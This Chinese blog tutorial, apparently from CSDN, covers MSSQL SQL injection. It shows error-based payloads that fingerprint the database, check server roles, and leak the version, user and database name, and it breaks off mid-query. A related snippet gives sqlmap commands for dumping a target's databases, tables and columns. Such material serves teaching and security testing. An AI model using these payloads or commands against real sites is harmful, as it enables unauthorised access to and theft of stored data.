MSSQL数据库注入

MSSQL数据库注入实践

一、MSSQL注入的基础知识

(一)注入点的检测

1、数据库类型判断
  • 概述

    MSSQL数据库中,存在一个系统表sysobjects,可以通过判断这个表是否存在来判断该数据库是否为MSSQL数据库

  • SQL语句执行

    select * from admin where id=1 and exists(select * from sysobjects); # 正常返回结果,则表示存在该数据库表
    select * from admin where id=1 and exists(select * from msysobjects);# 报错,表示此数据库没有这个表
    消息 208,级别 16,状态 1,第 1 行
    对象名 'msysobjects' 无效。
    
2、当前用户权限判断
  • 概述

    通过is_sevrolemember这个函数判断当前的用户角色,若存在该用户则该查询语句返回1(代表true)

  • SQL语句执行

    select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin')); # 执行此语句不报错则表示当前用户为sa用户(权限最高)
    select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('db_owner')); # 执行此语句不报错则表示当前用户为db_owner用户
    select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('public')); # 执行此语句不报错则表示当前用户为普通用户(权限最低)
    
3、返回信息的判断
  • 概述

    可以通过构造SQL语句进行数据库查询操作,来从数据库的返回的信息筛选出有用的信息,例如报错信息的数据库表名,当前用户名等

  • SQL语句执行

    • 通过报错信息查看数据库版本信息

      select * from admin where id=1 and @@VERSION>0;
      # 数据库返回
      消息 245,级别 16,状态 1,第 1 行
      在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 
      	Apr  2 2010 15:48:46 
      	Copyright (c) Microsoft Corporation
      	Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)
      ' 转换成数据类型 int 时失败。
      
    • 判断当前数据库是否支持多语句查询

      select * from admin where id=1 ;declare @d int;# 不报错则表示支持多语句查询
      
    • 判断当前数据库是否支持子查询

      select * from admin where id=1 and (select COUNT(1) from sysobjects)>=0; #不报错则表示支持子查询
      
    • 通过报错信息获取数据库用户名

      select * from admin where id=1 and USER >0;
      # 数据库返回
      消息 245,级别 16,状态 1,第 1 行
      在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。
      
    • 获取当前数据库名

      select * from admin where id=1 and DB_NAME()>0;
      # 数据库返回
      消息 245,级别 16,状态 1,第 1 行
      在将 nvarchar 值 'TestDB' 转换成数据类型 int 时失败。
      
    • 获取本地服务的名称

      select *
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
SQLMap是一款开源的自动化SQL注入工具,用于检测和利用Web应用程序中的SQL注入漏洞。它支持多种数据库管理系统,包括MSSQL。 要使用SQLMap直连MSSQL数据库,首先需要确保已经安装了Python和SQLMap。然后,按照以下步骤进行操作: 1. 打开命令行终端,并导航到SQLMap的安装目录。 2. 输入以下命令来检测目标网站是否存在SQL注入漏洞: ``` python sqlmap.py -u <目标URL> --dbs ``` 其中,`<目标URL>`是要测试的网站URL。 3. 如果存在SQL注入漏洞,SQLMap将列出可用的数据库。选择要攻击的数据库,并记下其名称。 4. 输入以下命令来获取数据库中的表: ``` python sqlmap.py -u <目标URL> -D <数据库名称> --tables ``` 其中,`<数据库名称>`是上一步选择的数据库名称。 5. 选择要攻击的表,并记下其名称。 6. 输入以下命令来获取表中的列: ``` python sqlmap.py -u <目标URL> -D <数据库名称> -T <表名称> --columns ``` 其中,`<表名称>`是上一步选择的表名称。 7. 选择要攻击的列,并记下其名称。 8. 输入以下命令来获取列中的数据: ``` python sqlmap.py -u <目标URL> -D <数据库名称> -T <表名称> -C "<列名称1>,<列名称2>,..." --dump ``` 其中,`<列名称1>,<列名称2>,...`是上一步选择的列名称,用逗号分隔。 9. SQLMap将尝试提取并显示列中的数据。 请注意,使用SQLMap进行SQL注入测试可能涉及到非法活动,应该仅在合法授权的范围内使用。此外,使用SQLMap进行攻击可能会对目标系统造成损害,应谨慎操作。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

四粒和七喜呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值